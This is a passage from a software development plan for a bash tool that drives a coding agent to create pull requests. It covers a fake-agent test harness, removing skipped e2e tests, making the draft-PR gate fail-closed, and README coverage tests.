tests/simple-test.sh # 158 passed, 0 failed, exit 0 +bash tests/spec-map.sh # 158 of 158 mapped, exit 0 +bash tests/oracle-gate.sh # OK — 158/158, exit 0 +bash tests/gate-selftest.sh # 5 passed, 0 failed, exit 0 +``` + +From this point, any change to `tests/simple-test.sh` fires R7 and must be re-locked with `bash tests/oracle-gate.sh --accept` in the same commit that makes the change — a deliberate, reviewable act. Every later task that adds an assertion says so explicitly. + +--- + +# Phase P3 — Pipeline test harness + +**Why:** Nothing in the repo invokes `run_pipeline` — `grep -n 'run_pipeline' tests/simple-test.sh` returns nothing. P4's fail-closed draft gate and P6b's `verify` command both need to drive a real pipeline run. + +--- + +### Task 14: Build the fake-agent pipeline harness + +**Files:** +- Create: `tests/lib/pipeline-harness.sh` +- Modify: `tests/simple-test.sh` (new "Pipeline Harness" section) +- Modify: `tests/oracle.lock.json` (via `--accept`) +- Modify: `README.md` (prerequisites) + +**Interfaces:** +- Consumes: `lib/run.sh`. +- Produces these functions, used by Tasks 17-19 and 29-30: + - `ph_setup ` — builds a scratch git repo with `reqdrive.json`, a base branch, and `docs/requirements/REQ-01-demo.md`; exports `PH_ROOT`, `PH_BIN`. + - `ph_fake_claude ` — installs a fake `claude` on `PATH`. Modes: `full` (emits a 2-story PRD then per-story summaries then the completion signal), `noprd` (never writes `prd.json`), `nopasses` (writes a PRD whose stories omit `passes`). + - `ph_fake_gh` — installs a fake `gh` recording every invocation to `$PH_ROOT/gh-args.log`, printing a PR URL on `pr create`. + - `ph_run ` — runs `run_pipeline` in a subshell with `set -euo pipefail`; echoes the exit code. + - `ph_gh_args` — prints the recorded `gh` invocation log. + +**Context, three fidelity traps:** +1. `lib/run.sh:6` sets bare `set -e`, not `pipefail`. But `run_claude_iteration` detects agent failure through `if timeout 1800 claude ... | tee ...` — a pipeline whose status is `tee`'s unless `pipefail` is on. A harness that sources `lib/run.sh` without `set -o pipefail` validates a path that can never fail, so `ph_run` sets `set -euo pipefail` explicitly. +2. `run_pipeline` terminates with `exit` (`lib/run.sh:1186`, `:1189`), not `return`. `ph_run` must call it in a subshell and capture the code. +3. `timeout` (coreutils) is a hard runtime dependency of `run_claude_iteration` and is undocumented. This task adds it to README prerequisites. + +- [ ] **Step 1: Write the harness** + +Create `tests/lib/pipeline-harness.sh`: + +```bash +#!/usr/bin/env bash +# Drive lib/run.sh's run_pipeline against fake claude/gh binaries in a +# scratch git repo. Sourced by tests/simple-test.sh. +# shellcheck disable=SC2317 # fake-binary bodies look unreachable to shellcheck + +ph_setup() { + PH_ROOT="$1" + PH_BIN="$PH_ROOT/bin" + mkdir -p "$PH_ROOT/docs/requirements" "$PH_BIN" + + git -C "$PH_ROOT" init -q + git -C "$PH_ROOT" config user.email "test@example.com" + git -C "$PH_ROOT" config user.name "Test" + git -C "$PH_ROOT" checkout -q -b main + + cat > "$PH_ROOT/reqdrive.json" <<'EOF' +{ + "version": "0.3.0", + "requirementsDir": "docs/requirements", + "testCommand": "", + "maxIterations": 3, + "baseBranch": "main" +} +EOF + + cat > "$PH_ROOT/docs/requirements/REQ-01-demo.md" <<'EOF' +# REQ-01: Demo requirement + +Add a marker file. + +## Acceptance Criteria +- A file named MARKER.txt exists +EOF + + git -C "$PH_ROOT" add -A + git -C "$PH_ROOT" commit -q -m "chore: scaffold" + export PH_ROOT PH_BIN +} + +# ph_fake_claude full|noprd|nopasses +ph_fake_claude() { + local mode="$1" + cat > "$PH_BIN/claude" < /dev/null # consume the prompt +mode="$mode" +run_dir="\$(ls -d "$PH_ROOT"/.reqdrive/runs/* 2>/dev/null | head -1)" +[ -n "\$run_dir" ] || { echo "no run dir"; exit 0; } +prd="\$run_dir/prd.json" + +if [ ! -f "\$prd" ] && [ "\$mode" != "noprd" ]; then + if [ "\$mode" = "nopasses" ]; then + cat > "\$prd" <<'JEOF' +{"version":"0.3.0","project":"demo","sourceReq":"REQ-01", + "userStories":[ + {"id":"US-001","title":"First","description":"d","acceptanceCriteria":["a"],"priority":1}, + {"id":"US-002","title":"Second","description":"d","acceptanceCriteria":["a"],"priority":2}]} +JEOF + else + cat > "\$prd" <<'JEOF' +{"version":"0.3.0","project":"demo","sourceReq":"REQ-01", + "userStories":[ + {"id":"US-001","title":"First","description":"d","acceptanceCriteria":["a"],"priority":1,"passes":false}, + {"id":"US-002","title":"Second","description":"d","acceptanceCriteria":["a"],"priority":2,"passes":false}]} +JEOF + fi + echo "Planning complete." + exit 0 +fi + +# Implementation turn: mark the highest-priority incomplete story done. +if [ -f "\$prd" ] && [ "\$mode" = "full" ]; then + next=\$(jq -r '[.userStories[] | select(.passes == false)] | sort_by(.priority) | .[0].id // empty' "\$prd") + if [ -n "\$next" ]; then + jq --arg id "\$next" '(.userStories[] | select(.id == \$id)).passes = true' "\$prd" > "\$prd.t" && mv "\$prd.t" "\$prd" + echo "impl \$next" >> "$PH_ROOT/MARKER.txt" + git -C "$PH_ROOT" add -A + git -C "$PH_ROOT" commit -q -m "feat: [\$next] - work" + echo '\`\`\`json:iteration-summary' + echo "{\"storyId\":\"\$next\",\"action\":\"implemented\",\"filesChanged\":[\"MARKER.txt\"],\"testsRun\":true,\"testsPassed\":true,\"committed\":true,\"notes\":\"ok\"}" + echo '\`\`\`' + remaining=\$(jq '[.userStories[] | select(.passes == false)] | length' "\$prd") + [ "\$remaining" -eq 0 ] && echo "COMPLETE" + exit 0 + fi +fi +echo "nothing to do" +exit 0 +PHEOF + chmod +x "$PH_BIN/claude" +} + +ph_fake_gh() { + cat > "$PH_BIN/gh" <> "$PH_ROOT/gh-args.log" +case "\$1 \$2" in + "pr create") echo "https://github.com/test/repo/pull/1" ;; + *) : ;; +esac +exit 0 +PHEOF + chmod +x "$PH_BIN/gh" +} + +# ph_run — returns run_pipeline's exit code +ph_run() { + local req="$1" + ( + set -euo pipefail + export PATH="$PH_BIN:$PATH" + export REQDRIVE_ROOT="$REQDRIVE_ROOT" + export REQDRIVE_INTERACTIVE=false + export REQDRIVE_UNSAFE=true + cd "$PH_ROOT" + source "$REQDRIVE_ROOT/lib/errors.sh" + source "$REQDRIVE_ROOT/lib/schema.sh" + source "$REQDRIVE_ROOT/lib/sanitize.sh" + source "$REQDRIVE_ROOT/lib/config.sh" + source "$REQDRIVE_ROOT/lib/preflight.sh" + source "$REQDRIVE_ROOT/lib/run.sh" + reqdrive_load_config + run_pipeline "$req" + ) >"$PH_ROOT/run.log" 2>&1 + echo $? +} + +ph_gh_args() { cat "$PH_ROOT/gh-args.log" 2>/dev/null || true; } +``` + +- [ ] **Step 2: Write the failing end-to-end assertion** + +Append to `tests/simple-test.sh`, before the "Harness Safety" section added in Task 1: + +```bash +echo "" +echo "--- Pipeline Harness ---" + +# Test: a scripted run reaches PR creation +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/ph-e2e" + ph_fake_claude full + ph_fake_gh + rc=$(ph_run REQ-01) + [ "$rc" = "0" ] + ph_gh_args | grep -q "pr create" +) +test_result "pipeline: scripted run reaches PR creation" $? +``` + +- [ ] **Step 3: Run to verify it fails** + +Run: `bash tests/simple-test.sh 2>&1 | grep -E 'pipeline:|Results:'` + +Expected: `FAIL: pipeline: scripted run reaches PR creation` — `tests/lib/pipeline-harness.sh` does not exist yet if you wrote Step 2 first, or the fake agent is not yet wired. Read `$TEST_TEMP/ph-e2e/run.log` to see where the pipeline stopped. Iterate on the harness until it passes; the harness is the deliverable, so debugging it here is the work, not a detour. + +- [ ] **Step 4: Run to verify it passes** + +Run: `bash tests/simple-test.sh 2>&1 | grep -E 'pipeline:|Results:'` + +Expected: +``` +PASS: pipeline: scripted run reaches PR creation + Results: 159 passed, 0 failed, 0 skipped, 159 total +``` + +- [ ] **Step 5: Document `timeout` and `sha256sum` as prerequisites** + +In `README.md`, find the Prerequisites list and add: + +```markdown +- `timeout` and `sha256sum` (GNU coreutils — present by default on Linux, macOS via `brew install coreutils`, and in Git-Bash/MSYS2) +``` + +- [ ] **Step 6: Re-lock and commit** + +```bash +bash -n tests/lib/pipeline-harness.sh tests/simple-test.sh +shellcheck tests/lib/pipeline-harness.sh +bash tests/oracle-gate.sh --accept +bash tests/oracle-gate.sh +git add tests/lib/pipeline-harness.sh tests/simple-test.sh tests/oracle.lock.json README.md +git commit -m "test: add pipeline harness driving run_pipeline end to end + +Nothing invoked run_pipeline before this. Three fidelity traps are +handled explicitly: ph_run sets pipefail (lib/run.sh sets bare set -e, +but agent failure is detected through a claude|tee pipeline), it +captures run_pipeline's exit rather than its return, and README now +documents the undocumented timeout dependency." +``` + +Note: `tests/lib/pipeline-harness.sh` is sourced, not linted by the CI list — add it to the shellcheck line in `.github/workflows/ci.yml` in this commit as well. + +--- + +### Task 15: Convert the bats escape hatches to hard assertions + +**Files:** +- Modify: `tests/e2e/pipeline.bats:146, 223, 253, 301, 302, 338` + +**Interfaces:** +- Consumes: the deterministic fake `claude` from Task 14. +- Produces: an e2e suite that can actually fail. **From here on, `bats tests/unit tests/e2e` must pass with zero skips in `tests/e2e/`.** + +**Context:** All six sites end in `|| skip`. Round-3 verification gutted `build_implementation_prompt` to write an empty file and return 0; bats reported `ok 11 ... # skip` and exited 0. Three of these six guard the exact function P6a rewrites, so until they are hard assertions, "bats green" is not evidence of anything. The hatches exist because a real `claude` was unavailable; Task 14's fake removes that reason. + +- [ ] **Step 1: Replace each hatch with a hard assertion** + +`tests/e2e/pipeline.bats:146`: + +```bash + git branch | grep -q "reqdrive/req-01" +``` + +`:223`: + +```bash + grep -q "XYZ123" "$TEST_TEMP_DIR/.reqdrive/runs/req-01/prompt.md" +``` + +`:253`: + +```bash + [[ -f "$TEST_TEMP_DIR/.reqdrive/runs/req-01/iteration-plan-1.log" ]] +``` + +`:301-302`: + +```bash + grep -q "US-001" "$TEST_TEMP_DIR/.reqdrive/runs/req-01/prompt.md" + grep -q "First story" "$TEST_TEMP_DIR/.reqdrive/runs/req-01/prompt.md" +``` + +`:338`: + +```bash + grep -q "claude-opus-4-5-20251101" /tmp/claude-args.log +``` + +- [ ] **Step 2: Run bats and fix what genuinely breaks** + +Run: `bats tests/e2e/pipeline.bats` + +Expected: all 12 tests pass with **zero** `# skip` markers. If a test now fails, its setup is incomplete — make the setup deterministic using the same fake-agent approach as Task 14 rather than restoring the hatch. + +If bats is unavailable on Git-Bash, run it in Docker: + +```bash +docker run --rm -v "$PWD":/w -w /w bats/bats:latest tests/e2e tests/unit +``` + +- [ ] **Step 3: Prove the e2e suite can now fail** + +```bash +cp lib/run.sh /tmp/run.sh.bak +sed -i 's|^build_implementation_prompt() {|build_implementation_prompt() {\n : > "$1"; return 0|' lib/run.sh +bats tests/e2e/pipeline.bats; echo "EXIT=$?" +cp /tmp/run.sh.bak lib/run.sh +``` + +Expected: `EXIT=1` with at least one `not ok`. Before this task the same mutation produced `EXIT=0`. Confirm `lib/run.sh` is restored: `git diff --stat lib/run.sh` must be empty. + +- [ ] **Step 4: Verify the skip count is zero** + +Run: `bats --formatter tap tests/e2e | grep -c '# skip'` + +Expected: `0`. + +- [ ] **Step 5: Commit** + +```bash +bash tests/simple-test.sh > /dev/null && bash tests/oracle-gate.sh +git add tests/e2e/pipeline.bats +git commit -m "test: convert the six e2e skip hatches to hard assertions + +Gutting build_implementation_prompt used to produce 'ok ... # skip' +and a green bats run, so the three e2e tests named as the safety net +for the P6 heredoc rewrite could not fail. The deterministic fake +agent removes the reason the hatches existed." +``` + +--- + +### Task 16: Add the zero-skip check to CI + +**Files:** +- Modify: `.github/workflows/ci.yml` (the `test-bats` job) + +**Interfaces:** +- Consumes: Task 15's hard assertions. +- Produces: CI that fails if any `tests/e2e/` test skips. + +- [ ] **Step 1: Add the check to the bats job** + +In the `test-bats` job, after the existing bats run step: + +```yaml + - name: Fail on any e2e skip + run: | + skips=$(bats --formatter tap tests/e2e | grep -c '# skip' || true) + echo "e2e skips: $skips" + [ "$skips" -eq 0 ] +``` + +- [ ] **Step 2: Verify locally** + +Run: `bats --formatter tap tests/e2e | grep -c '# skip' || true` + +Expected: `0`. + +- [ ] **Step 3: Commit** + +```bash +git add .github/workflows/ci.yml +git commit -m "ci: fail the build on any e2e skip + +'bats green' meant nothing while six tests could skip themselves." +``` + +--- + +**P3 exit gate.** + +```bash +bash tests/simple-test.sh # 159 passed, 0 failed +bash tests/oracle-gate.sh # OK — 159/159 +bats tests/unit tests/e2e # all pass +bats --formatter tap tests/e2e | grep -c '# skip' # 0 +``` + +--- + +# Phase P4 — Close all three draft-gate fail-opens + +**Why:** The draft gate at `lib/run.sh:1168-1173` fail-opens three ways, so a PR can present as ready-to-merge with no evidence behind it: + +- **(A)** `verification_passed: null` when no `testCommand` is configured (`:1116`) — the gate tests only for the literal string `"false"`. +- **(B)** Missing `prd.json` — `final_remaining` initializes to the sentinel `"?"` (`:1077`) and is overwritten only inside `if [ -f "$prd_file" ]` (`:1082-1092`), so a run whose planning failed ships a **non-draft PR with no PRD at all**. +- **(C)** `passes` omitted from a story — `lib/schema.sh:138` guards with `has("passes")`, so the field is optional, and `select(.passes == false)` does not match `null`. Verified: 3 stories, 1 passing, 2 omitting the field yields `remaining: 0` and no draft, while `lib/pr-create.sh:138-139` prints "1/3 completed." + +Enumerating negatives is a losing game, so the gate is **inverted to fail-closed**: draft by default, cleared only on positive evidence. + +--- + +### Task 17: Write the three failing assertions + +**Files:** +- Modify: `tests/simple-test.sh` (new "Draft Gate" section) +- Modify: `tests/oracle.lock.json` (via `--accept`) + +**Interfaces:** +- Consumes: `ph_setup`, `ph_fake_claude`, `ph_fake_gh`, `ph_run`, `ph_gh_args` from Task 14. +- Produces: four assertions — three fail-open cases plus a positive control — that Task 18 must turn green. + +- [ ] **Step 1: Write all four assertions** + +Append to `tests/simple-test.sh` before the "Harness Safety" section: + +```bash +echo "" +echo "--- Draft Gate ---" + +# Test: fail-open A — no testCommand means no evidence, so draft +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/dg-a" + ph_fake_claude full + ph_fake_gh + ph_run REQ-01 > /dev/null + ph_gh_args | grep -q "pr create" + ph_gh_args | grep "pr create" | grep -q -- "--draft" +) +test_result "draft gate: no testCommand forces draft" $? + +# Test: fail-open B — no prd.json means no plan, so draft +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/dg-b" + ph_fake_claude noprd + ph_fake_gh + ph_run REQ-01 > /dev/null + ph_gh_args | grep "pr create" | grep -q -- "--draft" +) +test_result "draft gate: missing prd.json forces draft" $? + +# Test: fail-open C — stories omitting 'passes' are not complete, so draft +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/dg-c" + ph_fake_claude nopasses + ph_fake_gh + ph_run REQ-01 > /dev/null + ph_gh_args | grep "pr create" | grep -q -- "--draft" +) +test_result "draft gate: stories omitting passes force draft" $? + +# Test: positive control — full evidence produces a non-draft PR +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/dg-ok" + jq '.testCommand = "true"' "$PH_ROOT/reqdrive.json" > "$PH_ROOT/r.tmp" + mv "$PH_ROOT/r.tmp" "$PH_ROOT/reqdrive.json" + git -C "$PH_ROOT" add -A && git -C "$PH_ROOT" commit -q -m "chore: enable testCommand" + ph_fake_claude full + ph_fake_gh + ph_run REQ-01 > /dev/null + ph_gh_args | grep -q "pr create" + ! ph_gh_args | grep "pr create" | grep -q -- "--draft" +) +test_result "draft gate: full evidence produces non-draft PR" $? +``` + +- [ ] **Step 2: Run to observe the red** + +Run: `bash tests/simple-test.sh 2>&1 | grep -E 'draft gate:|Results:'` + +Expected — the three fail-open assertions FAIL, the positive control PASSES: +``` +FAIL: draft gate: no testCommand forces draft +FAIL: draft gate: missing prd.json forces draft +FAIL: draft gate: stories omitting passes force draft +PASS: draft gate: full evidence produces non-draft PR + Results: 160 passed, 3 failed, 0 skipped, 163 total +``` + +This is the first genuine red-first moment in the plan, and it is only observable because of P0. If the suite truncates instead of reporting three FAILs, P0 regressed — stop and re-run `bash tests/mutate.sh impl-prompt-return1`. + +- [ ] **Step 3: Commit the red tests** + +Commit the failing tests on their own so the red state is in history, then make them green in Task 18. Do **not** run `--accept` yet — the lock must not record a failing baseline. + +```bash +bash -n tests/simple-test.sh +git add tests/simple-test.sh +git commit -m "test: add failing assertions for all three draft-gate fail-opens + +Red first. A run with no testCommand, a run with no prd.json, and a +run whose stories omit 'passes' all currently produce a non-draft PR +with no evidence behind it. The positive control passes already, so +the fix cannot simply force --draft unconditionally." +``` + +--- + +### Task 18: Invert the draft gate to fail-closed + +**Files:** +- Modify: `lib/run.sh:1077` (sentinel), `lib/run.sh:1082-1092` (story counting), `lib/run.sh:1167-1173` (draft decision) +- Modify: `tests/oracle.lock.json` (via `--accept`) + +**Interfaces:** +- Consumes: Task 17's four assertions. +- Produces: `PRD_PRESENT` (`0|1`) and an integer `final_remaining` inside `run_pipeline`. Task 29 replaces both with `VERIFY_PRD_PRESENT` and `VERIFY_STORIES_REMAINING` when the phase is extracted. + +- [ ] **Step 1: Replace the sentinel with an explicit presence flag** + +At `lib/run.sh:1077`, replace: + +```bash + local final_remaining="?" +``` + +with: + +```bash + local final_remaining=0 + local prd_present=0 +``` + +- [ ] **Step 2: Set the flag and count `passes != true`** + +In the `if [ -f "$prd_file" ]` block at `lib/run.sh:1082-1092`, set the flag and change the counting so a missing `passes` field counts as incomplete: + +```bash + if [ -f "$prd_file" ]; then + prd_present=1 + stories_total=$(jq '.userStories | length' "$prd_file" 2>/dev/null || echo "0") + stories_completed=$(jq '[.userStories[] | select(.passes == true)] | length' "$prd_file" 2>/dev/null || echo "0") + final_remaining=$(jq '[.userStories[] | select(.passes != true)] | length' "$prd_file" 2>/dev/null || echo "0") + + local max_story_retries_check="${REQDRIVE_MAX_STORY_RETRIES:-3}" + stories_failed=$(jq --argjson max "$max_story_retries_check" \ + '[.userStories[] | select(.passes != true and ((.attempts // 0) >= $max))] | length' \ + "$prd_file" 2>/dev/null || echo "0") + fi +``` + +- [ ] **Step 3: Keep the JSON artifact honest** + +At `lib/run.sh:1132`, the summary currently emits `null` for `remaining` when the sentinel was set. Preserve that contract and record presence explicitly: + +```bash + "remaining": $([ "$prd_present" -eq 1 ] && echo "$final_remaining" || echo "null") + }, + "prd_present": $([ "$prd_present" -eq 1 ] && echo "true" || echo "false"), +``` + +Place the `prd_present` line immediately after the closing brace of the `stories` object. + +- [ ] **Step 4: Invert the gate** + +Replace `lib/run.sh:1167-1173` (the `draft_flag` block) with: + +```bash + # Fail-closed: draft unless every piece of positive evidence is present. + local draft_flag="--draft" + if [ "$prd_present" -eq 1 ] && [ "$final_remaining" -eq 0 ] && [ "$verification_passed" = "true" ]; then + draft_flag="" + else + if [ "$prd_present" -ne 1 ]; then + log_warn "No prd.json — creating draft PR" + elif [ "$final_remaining" -ne 0 ]; then + log_warn "$final_remaining stories incomplete — creating draft PR" + elif [ "$verification_passed" = "null" ]; then + log_warn "No testCommand configured, so nothing verified the output — creating draft PR" + else + log_warn "Final verification failed — creating draft PR" + fi + fi +``` + +Delete the earlier advisory block at `lib/run.sh:1154-1157` that warned about incomplete stories; the message above replaces it and no longer references the `"?"` sentinel. + +- [ ] **Step 5: Run the assertions** + +Run: `bash tests/simple-test.sh 2>&1 | grep -E 'draft gate:|Results:'` + +Expected: all four PASS, `163 passed, 0 failed`. + +- [ ] **Step 6: Confirm the existing verification assertions survived** + +Run: `bash tests/simple-test.sh 2>&1 | grep -E 'verification|run_status|^FAIL'` + +Expected: the five *Run Summary & Verification* assertions still PASS and no `FAIL:` lines appear. + +- [ ] **Step 7: Re-lock and commit** + +```bash +bash -n lib/run.sh +shellcheck lib/run.sh +bash tests/oracle-gate.sh --accept +bash tests/oracle-gate.sh +git add lib/run.sh tests/oracle.lock.json +git commit -m "fix: invert the draft gate to fail-closed + +The gate cleared --draft on three separate no-evidence paths: null +verification, a missing prd.json left holding the '?' sentinel, and +stories omitting the optional 'passes' field, which select(.passes == +false) never matched. Enumerating those negatives is a losing game, +so the PR is now a draft unless the PRD exists, zero stories remain, +and verification positively passed. + +verification-summary.json keeps emitting remaining: null when no PRD +exists, and gains prd_present so the two cases stay distinguishable." +``` + +--- + +### Task 19: Surface the consequence of the default empty `testCommand` + +**Files:** +- Modify: `lib/preflight.sh` (new check), `lib/pr-create.sh` (reason line) +- Modify: `tests/simple-test.sh`, `tests/oracle.lock.json` + +**Interfaces:** +- Consumes: the tri-state distinction between "tests failed" and "no test command configured". +- Produces: `check_test_command_configured` in `lib/preflight.sh`, and a reason line in the PR body. + +**Context:** `testCommand` defaults to `""`, so after Task 18 a default-configured project gets a draft PR on **every** run. That is the intended policy, but it must not be a mystery. This task makes the reason visible in two places — at run start and in the PR body — and it is the only thing that makes the `verification_passed: null` state worth distinguishing from `false`. + +- [ ] **Step 1: Write the failing assertions** + +Append to the "Draft Gate" section of `tests/simple-test.sh`: + +```bash +# Test: preflight warns when no testCommand is configured +( + set -e + source "$REQDRIVE_ROOT/lib/errors.sh" + source "$REQDRIVE_ROOT/lib/preflight.sh" + out=$(REQDRIVE_TEST_COMMAND="" check_test_command_configured 2>&1) || true + echo "$out" | grep -q "all PRs will be created as drafts" +) +test_result "preflight: warns when no testCommand is configured" $? + +# Test: preflight is silent when a testCommand exists +( + set -e + source "$REQDRIVE_ROOT/lib/errors.sh" + source "$REQDRIVE_ROOT/lib/preflight.sh" + out=$(REQDRIVE_TEST_COMMAND="npm test" check_test_command_configured 2>&1) || true + [ -z "$out" ] +) +test_result "preflight: silent when testCommand is configured" $? + +# Test: PR body distinguishes 'not configured' from 'tests failed' +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/dg-reason" + ph_fake_claude full + ph_fake_gh + ph_run REQ-01 > /dev/null + body_file=$(grep -o -- '--body-file [^ ]*' "$PH_ROOT/gh-args.log" | head -1 | cut -d' ' -f2) + grep -q "no test command configured" "$body_file" +) +test_result "pr: body states why verification was not run" $? +``` + +- [ ] **Step 2: Run to observe the red** + +Run: `bash tests/simple-test.sh 2>&1 | grep -E 'preflight: warns|preflight: silent|pr: body states'` + +Expected: all three FAIL — `check_test_command_configured` does not exist. + +- [ ] **Step 3: Add the preflight check** + +Append to `lib/preflight.sh`: + +```bash +# Warn when no testCommand is configured. Nothing will independently verify +# the agent's output, so every PR will be created as a draft. +check_test_command_configured() { + if [ -z "${REQDRIVE_TEST_COMMAND:-}" ]; then + echo "[WARN] No testCommand configured — nothing will verify the agent's output, so all PRs will be created as drafts." >&2 + return 0 + fi + return 0 +} +``` + +Call it from `run_preflight_checks` alongside the existing checks. It always returns 0 — it warns, it does not gate. + +- [ ] **Step 4: Add the PR-body reason line** + +In `lib/pr-create.sh`, where the verification section is built from `verification-summary.json`, add a reason line driven by `verification_passed`: + +```bash + local vp + vp=$(jq -r '.verification_passed' "$summary_file" 2>/dev/null || echo "null") + case "$vp" in + true) verification_reason="Verification passed." ;; + false) verification_reason="Verification failed — tests did not pass." ;; + *) verification_reason="Not verified — no test command configured." ;; + esac +``` + +and emit `$verification_reason` into the body. The lowercase substring `no test command configured` is what the assertion in Step 1 matches. + +- [ ] **Step 5: Run to verify green** + +Run: `bash tests/simple-test.sh 2>&1 | tail -4` + +Expected: `166 passed, 0 failed`. + +- [ ] **Step 6: Re-lock and commit** + +```bash +bash -n lib/preflight.sh lib/pr-create.sh +shellcheck lib/preflight.sh lib/pr-create.sh +bash tests/oracle-gate.sh --accept +bash tests/oracle-gate.sh +git add lib/preflight.sh lib/pr-create.sh tests/simple-test.sh tests/oracle.lock.json +git commit -m "feat: explain why a run produced a draft PR + +testCommand defaults to empty, so after the fail-closed inversion a +default-configured project gets a draft on every run. Preflight now +says so at run start and the PR body distinguishes 'no test command +configured' from 'tests failed' — which is what makes the tri-state +worth carrying rather than collapsing to a boolean." +``` + +--- + +**P4 exit gate.** + +```bash +bash tests/simple-test.sh # 166 passed, 0 failed +bash tests/oracle-gate.sh # OK +bash tests/gate-selftest.sh # 5 passed +bats tests/unit tests/e2e # all pass, zero e2e skips +``` + +L2 is now earned: every PR that presents as ready-to-merge has a PRD, zero incomplete stories, and a test command that positively passed. + +--- + +# Phase P5 — Make L3 a standing gate, not a milestone + +**Why:** The measured L3 blocker is undocumented public surface. WORKFLOW.md's L3 criterion — "a cold agent completes a canonical task from docs alone" — is not reproducible in CI, but the thing that actually blocks the cold agent is: commands, config fields and flags that exist in code and not in `README.md`. Three coverage tests turn that into a standing gate, so P6 and P7 cannot ship undocumented surface either. + +--- + +### Task 20: Doc-coverage rule 1 — every command is documented + +**Files:** +- Modify: `tests/simple-test.sh` (new "Doc Coverage" section), `README.md` +- Modify: `tests/oracle.lock.json` (via `--accept`) + +**Interfaces:** +- Consumes: the dispatch block at `bin/reqdrive:538-582`. +- Produces: an assertion that fails whenever a dispatch label has no README row. Tasks 30 (`verify`) depends on it firing. + +**Context:** The dispatch `case` runs from `bin/reqdrive:538` to `esac` at `:582`. Labels are indented two spaces, so trim leading whitespace before matching. Keep only labels matching `^[a-z][a-z-]*)$` — that excludes `-v|--version)`, `-h|--help|"")` and `*)`, none of which is a command. Nine labels qualify: `init run validate status migrate plan orchestrate launch logs`. `README.md:45-55` documents seven, so this test **fails on `plan` and `orchestrate`**. + +- [ ] **Step 1: Write the failing assertion** + +Append to `tests/simple-test.sh` before the "Harness Safety" section: + +```bash +echo "" +echo "--- Doc Coverage ---" + +# Test: every dispatch command appears in README +( + set -e + cmds=$(awk '/^case "\$\{1:-\}" in$/,/^esac$/' "$REQDRIVE_ROOT/bin/reqdrive" \ + | sed 's/^[[:space:]]*//' \ + | grep -E '^[a-z][a-z-]*\)$' \ + | tr -d ')') + [ -n "$cmds" ] + missing="" + for c in $cmds; do + grep -q "reqdrive $c" "$REQDRIVE_ROOT/README.md" || missing="$missing $c" + done + [ -z "$missing" ] || { echo "undocumented commands:$missing" >&2; false; } +) +test_result "docs: every CLI command is documented in README" $? +``` + +- [ ] **Step 2: Run to observe the red** + +Run: `bash tests/simple-test.sh 2>&1 | grep -A1 'docs: every CLI'` + +Expected: +``` +undocumented commands: plan orchestrate +FAIL: docs: every CLI command is documented in README +``` + +If the extracted `cmds` list is empty the `awk` range did not match — check the exact text of the `case` line in `bin/reqdrive:538` and adjust the pattern to match it literally. + +- [ ] **Step 3: Document both commands** + +Add to the Commands table in `README.md` (after the `reqdrive migrate` row): + +```markdown +| `reqdrive plan ` | Generate `prd.json` only — planning phase without implementation. Useful for reviewing the plan before committing agent time. | +| `reqdrive orchestrate` | Multi-requirement sequencing. **Not implemented** — prints a "coming soon" notice and exits 0. | +``` + +- [ ] **Step 4: Run to verify green** + +Run: `bash tests/simple-test.sh 2>&1 | grep 'docs: every CLI'` + +Expected: `PASS: docs: every CLI command is documented in README` + +- [ ] **Step 5: Re-lock and commit** + +```bash +bash -n tests/simple-test.sh +bash tests/oracle-gate.sh --accept && bash tests/oracle-gate.sh +git add tests/simple-test.sh README.md tests/oracle.lock.json +git commit -m "docs: document plan and orchestrate, gated by a coverage test + +The dispatch block accepts nine commands; README documented seven. +The test parses the live case block, so adding a command in a later +phase reddens the suite until README catches up." +``` + +--- + +### Task 21: Doc-coverage rule 2 — every config field is documented + +**Files:** +- Modify: `tests/simple-test.sh`, `README.md`, `tests/oracle.lock.json` + +**Interfaces:** +- Consumes: `lib/config.sh`'s `REQDRIVE_*` exports. +- Produces: an assertion that fails whenever a config field has no README entry. Task 32 (`policy`) depends on it firing. + +**Context:** `lib/config.sh` exports 12 `REQDRIVE_*` variables. Two are derived paths rather than config fields and must be exempted with a justifying comment: `REQDRIVE_MANIFEST` (the resolved manifest path) and `REQDRIVE_PROJECT_ROOT` (its parent directory). `REQDRIVE_ROOT` is the install directory, also not a config field. Of the remainder, README documents eight — this test **fails on `maxStoryRetries` and `reviewCommand`**. + +- [ ] **Step 1: Write the failing assertion** + +Append to the "Doc Coverage" section: + +```bash +# Test: every config-backed REQDRIVE_* variable is documented in README +( + set -e + # DOC_EXEMPT — derived at runtime, not settable in reqdrive.json: + # REQDRIVE_MANIFEST resolved path of the found manifest + # REQDRIVE_PROJECT_ROOT parent directory of the manifest + # REQDRIVE_ROOT reqdrive's own install directory + exempt="REQDRIVE_MANIFEST REQDRIVE_PROJECT_ROOT REQDRIVE_ROOT" + vars=$(grep -oE 'REQDRIVE_[A-Z_]+' "$REQDRIVE_ROOT/lib/config.sh" | sort -u) + [ -n "$vars" ] + missing="" + for v in $vars; do + case " $exempt " in *" $v "*) continue ;; esac + # REQDRIVE_MAX_STORY_RETRIES -> maxStoryRetries + field=$(printf '%s\n' "${v#REQDRIVE_}" | awk -F_ '{ + out = tolower($1) + for (i = 2; i <= NF; i++) out = out toupper(substr($i,1,1)) tolower(substr($i,2)) + print out + }') + grep -q "$field" "$REQDRIVE_ROOT/README.md" || missing="$missing $field" + done + [ -z "$missing" ] || { echo "undocumented config fields:$missing" >&2; false; } +) +test_result "docs: every config field is documented in README" $? +``` + +- [ ] **Step 2: Run to observe the red** + +Run: `bash tests/simple-test.sh 2>&1 | grep -A1 'docs: every config'` + +Expected: +``` +undocumented config fields: maxStoryRetries reviewCommand +FAIL: docs: every config field is documented in README +``` + +- [ ] **Step 3: Document both fields** + +Add to the configuration table in `README.md`: + +```markdown +| `maxStoryRetries` | `3` | number | Maximum attempts per user story. `select_next_story` skips a story once its `attempts` counter reaches this value, so a story that cannot be implemented does not consume the whole iteration budget. | +| `reviewCommand` | `""` | string | Post-PR review step. `"builtin"` runs a Claude review of the diff; any other 